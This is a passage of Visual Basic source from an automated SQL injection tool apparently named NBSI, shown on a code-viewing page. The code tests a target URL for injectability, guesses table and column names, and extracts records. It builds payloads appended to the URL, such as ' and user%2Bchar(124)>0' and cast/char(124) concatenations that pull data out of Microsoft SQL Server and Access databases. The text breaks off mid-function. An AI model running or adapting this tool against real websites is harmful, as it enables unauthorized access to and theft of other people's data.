📄 main.frm
字号:
If Database_Type = 0 Then
If Decide_Method = 1 Then
Database_Type = FunDatabase_Type(TxtURL, Decide_Method, Inject_Method)
Else
If Len(TxtKeyword.Text) = 0 Then
Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
Exit Sub
End If
Database_Type = FunDatabase_Type_ByKeyword(TxtURL, Decide_Method, Inject_Method)
End If
End If
If Database_Type > 0 Then
OptDatabase_Type(Database_Type - 1).Enabled = True
OptDatabase_Type(Database_Type - 1).Value = True
End If
sql = "Update SiteList set Inject_Method=" & Inject_Method & ",Database_Type=" & Database_Type & " Where SiteID=" & SiteID
conn.Execute (sql)
Help.Text = "提示:" & vbCrLf & "分析完毕,本网址可注入,请进入下一步骤:表名猜解"
btnGetTable.Enabled = True
txtTableName.Enabled = True
btnAddTable.Enabled = True
TableList.Enabled = True
TxtKeyword.Enabled = False
ProgressBar.Value = 100
End Sub
Private Sub LoadOldData(ByVal SiteID As Integer)
sql = "Select * from SiteList Where SiteID=" & SiteID
Set rs = conn.Execute(sql)
If Not rs.EOF Then
Decide_Method = rs("Decide_Method")
OptDecide_Method(Decide_Method).Enabled = True
OptDecide_Method(Decide_Method).Value = True
If Decide_Method = 2 Then
KeyWord = IIf(IsNull(rs("Keyword")), "", rs("Keyword"))
'TxtKeyword.Enabled = True
TxtKeyword.Text = KeyWord
End If
Inject_Method = rs("Inject_Method")
If Inject_Method > 0 Then
OptInject_Method(Inject_Method - 1).Enabled = True
OptInject_Method(Inject_Method - 1).Value = True
End If
Database_Type = rs("Database_Type")
If Database_Type > 0 Then
OptDatabase_Type(Database_Type - 1).Enabled = True
OptDatabase_Type(Database_Type - 1).Value = True
End If
btnCheck.Enabled = False
End If
Set rs = Nothing
Call ReloadTableName(SiteID)
TableList.Enabled = True
txtTableName.Enabled = True
btnGetTable.Enabled = True
btnAddTable.Enabled = True
End Sub
Private Sub RecordList_Click()
On Error Resume Next
FieldArr = Split(TxtRecordField.Text, ",")
ValueArr = Split(RecordList.List(RecordList.ListIndex), "|")
For i = 0 To UBound(FieldArr) - 1
RecordStr = RecordStr & FieldArr(i) & ":" & ValueArr(i) & " "
Next
TxtSelectedValue.Text = Left(RecordStr, Len(RecordStr) - 1)
On Error GoTo 0
End Sub
'----------------------------------------------------------------------------------------------
' Operate of Table
'----------------------------------------------------------------------------------------------
Private Sub TableList_Click()
If TableList.ListIndex >= 0 Then
btnDelTable.Enabled = True
If Left(TableList.List(TableList.ListIndex), 2) = "Y_" And btnGetTable.Caption = "猜解表名" Then
btnGetField.Enabled = True
FieldList.Enabled = True
txtFieldName.Enabled = True
btnAddField.Enabled = True
Else
btnGetField.Enabled = False
FieldList.Enabled = False
txtFieldName.Enabled = False
btnAddField.Enabled = False
End If
End If
TableNameSelected = Mid(TableList.List(TableList.ListIndex), 3)
txtTableName.Text = TableNameSelected
Call ReloadFieldName(SiteID, TableNameSelected)
End Sub
Private Sub btnGetTable_Click()
ProgressBar.Value = 0
If btnGetTable.Caption = "停止猜解" Then
StopFlag = True
Main.Enabled = False
btnGetTable.Caption = "猜解表名"
Else
StopFlag = False
btnGetTable.Caption = "停止猜解"
txtTableName.Enabled = False
btnAddTable.Enabled = False
btnGetField.Enabled = False
FieldList.Enabled = False
txtFieldName.Enabled = False
btnAddField.Enabled = False
Call FunGet_TableName(TxtURL)
btnGetTable.Caption = "猜解表名"
txtTableName.Enabled = True
btnAddTable.Enabled = True
Help.Text = "提示:表名猜解完成"
End If
ProgressBar.Value = 100
End Sub
Private Sub btnAddTable_Click()
TableName = txtTableName.Text
If TableName = "" Or InStr(TableName, " ") > 0 Then
Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
Else
isValidated = FunTableExist(TxtURL, TableName)
sql = "Delete from TableList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
conn.Execute (sql)
sql = "Insert into TableList(SiteID,TableName,isValidated) values(" & SiteID & ",'" & TableName & "'," & isValidated & ")"
conn.Execute (sql)
Call ReloadTableName(SiteID)
TableList.ListIndex = TableList.ListCount - 1
End If
End Sub
Private Sub btnDelTable_Click()
Selected = TableList.ListIndex
TableName = Mid(TableList.List(Selected), 3)
sql = "Delete from TableList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
conn.Execute (sql)
Call ReloadTableName(SiteID)
If Selected > 0 Then TableList.ListIndex = IIf(Selected > TableList.ListCount - 1, TableList.ListCount - 1, Selected)
End Sub
Private Sub ReloadTableName(ByVal SiteID As Integer)
TableList.Clear
sql = "Select * from TableList Where SiteID=" & SiteID
Set rs = conn.Execute(sql)
Do While Not rs.EOF
TableList.AddItem (IIf(rs("isValidated"), "Y", "N") & "_" & rs("TableName"))
rs.MoveNext
Loop
Set rs = Nothing
End Sub
'----------------------------------------------------------------------------------------------
' Operate of Field
'----------------------------------------------------------------------------------------------
Private Sub btnGetField_Click()
ProgressBar.Value = 0
If btnGetField.Caption = "停止猜解" Then
StopFlag = True
Main.Enabled = False
btnGetField.Caption = "猜解列名"
Else
StopFlag = False
FieldList.Enabled = True
txtFieldName.Enabled = False
btnAddField.Enabled = False
btnGetTable.Enabled = False
TableList.Enabled = False
txtTableName.Enabled = False
btnAddTable.Enabled = False
btnDelTable.Enabled = False
btnGetField.Caption = "停止猜解"
TableName = TableList.List(TableList.ListIndex)
TableName = Mid(TableName, 3)
Call FunGet_FieldName(TxtURL, TableName)
btnGetField.Caption = "猜解列名"
btnGetTable.Enabled = True
TableList.Enabled = True
txtTableName.Enabled = True
btnAddTable.Enabled = True
btnDelTable.Enabled = True
txtFieldName.Enabled = True
btnAddField.Enabled = True
Help.Text = "提示:列名猜解完成"
End If
ProgressBar.Value = 100
End Sub
Private Sub btnAddField_Click()
FieldName = txtFieldName.Text
TableName = Mid(TableList.List(TableList.ListIndex), 3)
If FieldName = "" Or InStr(FieldName, " ") > 0 Then
Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
Else
isValidated = FunFieldExist(TxtURL, TableName, FieldName)
sql = "Delete from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "' And FieldName='" & FieldName & "'"
conn.Execute (sql)
sql = "Insert into FieldList(SiteID,TableName,FieldName,isValidated) values(" & SiteID & ",'" & TableName & "','" & FieldName & "'," & isValidated & ")"
conn.Execute (sql)
Call ReloadFieldName(SiteID, TableName)
FieldList.ListIndex = FieldList.ListCount - 1
End If
End Sub
Private Sub btnDelField_Click()
TableName = Mid(TableList.List(TableList.ListIndex), 3)
Selected = FieldList.ListIndex
FieldName = Mid(FieldList.List(Selected), 3)
sql = "Delete from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "' And FieldName='" & FieldName & "'"
conn.Execute (sql)
Call ReloadFieldName(SiteID, TableName)
If Selected > 0 Then FieldList.ListIndex = IIf(Selected > FieldList.ListCount - 1, FieldList.ListCount - 1, Selected)
End Sub
Private Sub ReloadFieldName(ByVal SiteID As Integer, ByVal TableName As String)
FieldList.Clear
sql = "Select * from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
Set rs = conn.Execute(sql)
Do While Not rs.EOF
FieldList.AddItem (IIf(rs("isValidated"), "Y", "N") & "_" & rs("FieldName"))
rs.MoveNext
Loop
Set rs = Nothing
End Sub
Private Sub FieldList_Click()
If FieldList.ListIndex >= 0 Then
btnDelField.Enabled = True
Else
btnDelField.Enabled = False
End If
First_Loop = True
FieldListMain = ""
FieldListSub = ""
Count_FieldsSelected = 0
For i = 0 To FieldList.ListCount - 1
If FieldList.Selected(i) Then
Count_FieldsSelected = Count_FieldsSelected + 1
If First_Loop Then
btnGetRecord.Enabled = True
txtCondition.Enabled = True
txtRecStart.Enabled = True
Sort_Field = FieldList.List(i)
First_Loop = False
End If
FieldNameSelected = Mid(FieldList.List(i), 3)
If Database_Type = 3 Then
FieldListMain = FieldListMain & "cstr([" & FieldNameSelected & "])%2Bchr(124)%2B"
Else
FieldListMain = FieldListMain & "isNull(cast([" & FieldNameSelected & "] as varchar(8000)),char(32))%2Bchar(124)%2B"
End If
FieldListSub = FieldListSub & FieldNameSelected & ","
End If
Next
If First_Loop Then btnGetRecord.Enabled = False
If Right(FieldListMain, 3) = "%2B" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 3)
If Count_FieldsSelected > 1 And Right(FieldListMain, 11) = "%2Bchr(124)" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 11)
If Count_FieldsSelected > 1 And Right(FieldListMain, 12) = "%2Bchar(124)" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 12)
TableNameSelected = Mid(TableList.List(TableList.ListIndex), 3)
FieldNameSelected = Mid(FieldList.List(FieldList.ListIndex), 3)
txtFieldName.Text = FieldNameSelected
If Right(FieldListSub, 1) = "," Then AscStr = Left(FieldListSub, Len(FieldListSub) - 1)
DescStr = Replace(FieldListSub, ",", " desc,")
If Right(DescStr, 1) = "," Then DescStr = Left(DescStr, Len(DescStr) - 1)
End Sub
'----------------------------------------------------------------------------------------------
' Operate of Record
'----------------------------------------------------------------------------------------------
Private Sub btnGetRecord_Click()
ProgressBar.Value = 0
If btnGetRecord.Caption = "停止猜解" Then
StopFlag = True
Main.Enabled = False
btnGetRecord.Caption = "猜解记录"
Else
StopFlag = False
RecordList.Enabled = True
TxtSelectedValue.Enabled = True
btnExport.Enabled = True
btnGetField.Enabled = False
FieldList.Enabled = False
txtFieldName.Enabled = False
btnAddField.Enabled = False
btnDelField.Enabled = False
btnGetTable.Enabled = False
TableList.Enabled = False
txtTableName.Enabled = False
btnAddTable.Enabled = False
btnDelTable.Enabled = False
txtCondition.Enabled = False
txtRecStart.Enabled = False
btnGetRecord.Caption = "停止猜解"
TxtRecordField.Text = FieldListSub
TxtRecordTable.Text = Mid(TableList.List(TableList.ListIndex), 3)
Call FunGet_Record(TxtURL)
btnGetRecord.Caption = "猜解记录"
btnGetField.Enabled = True
FieldList.Enabled = True
txtFieldName.Enabled = True
btnAddField.Enabled = True
btnDelField.Enabled = True
btnGetTable.Enabled = True
TableList.Enabled = True
txtTableName.Enabled = True
btnAddTable.Enabled = True
btnDelTable.Enabled = True
txtCondition.Enabled = True
txtRecStart.Enabled = True
End If
ProgressBar.Value = 100
End Sub
'----------------------------------------------------------------------------------------------
' Step 1: Decide_Method
'----------------------------------------------------------------------------------------------
Public Function FunDecide_Method(ByVal URL_Source As String) As Integer
ResultArray = CommonGetHTTPHeadAndBody(URL_Source & " and user%2Bchar(124)>0")
Pos = InStr(ResultArray(1), "varchar")
If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
If InStr(LineStr, " and user+char(124)") = 0 Then
FunDecide_Method = 11
Exit Function
End If
End If
ResultArray = CommonGetHTTPHeadAndBody(URL_Source & "' and user%2Bchar(124)>0 and ''='")
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -